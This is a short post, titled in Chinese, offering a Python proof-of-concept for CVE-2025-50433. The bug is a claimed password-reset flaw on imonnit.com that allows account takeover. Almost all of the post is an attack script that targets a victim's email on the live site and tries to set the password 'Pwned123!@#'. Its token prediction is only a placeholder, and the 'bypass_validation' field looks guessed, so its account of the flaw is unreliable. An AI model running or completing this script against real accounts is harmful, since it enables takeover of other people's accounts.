CVE-2025-50433: imonnit.com 密码重置权限提升漏洞导致账户接管

import requests import argparse # CVE-2025-50433 PoC - Password Reset Privilege Escalation # Target: imonnit.com def exploit_password_reset(target_email, target_url): """ Exploit for CVE-2025-50433 This PoC demonstrates the password reset vulnerability that allows account takeover via crafted reset requests. """ session = requests.Session() # Step 1: Request password reset with target email reset_url = f"{target_url}/api/password-reset" payload = { "email": target_email, "action": "forgot_password" } print(f"[*] Sending password reset request for: {target_email}") response = session.post(reset_url, json=payload) # Step 2: Exploit weak token generation (vulnerability point) # In the actual vulnerability, tokens can be predicted or manipulated exploit_token = predict_reset_token(response) # Step 3: Craft malicious password reset request new_password = "Pwned123!@#" reset_exploit_url = f"{target_url}/api/password-reset/confirm" exploit_payload = { "email": target_email, "token": exploit_token, "new_password": new_password, "bypass_validation": True # Vulnerability allows validation bypass } print(f"[*] Exploiting password reset with crafted token...") exploit_response = session.post(reset_exploit_url, json=exploit_payload) if exploit_response.status_code == 200: print(f"[+] Account takeover successful!") print(f"[+] New password set: {new_password}") return True else: print(f"[-] Exploitation failed") return False def predict_reset_token(response): """ Placeholder for token prediction logic The actual vulnerability involves weak token generation """ return "PREDICTED_TOKEN" if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-50433 PoC') parser.add_argument('--target', required=True, help='Target email') parser.add_argument('--url', default='https://imonnit.com', help='Target URL') args = parser.parse_args() exploit_password_reset(args.target, args.url)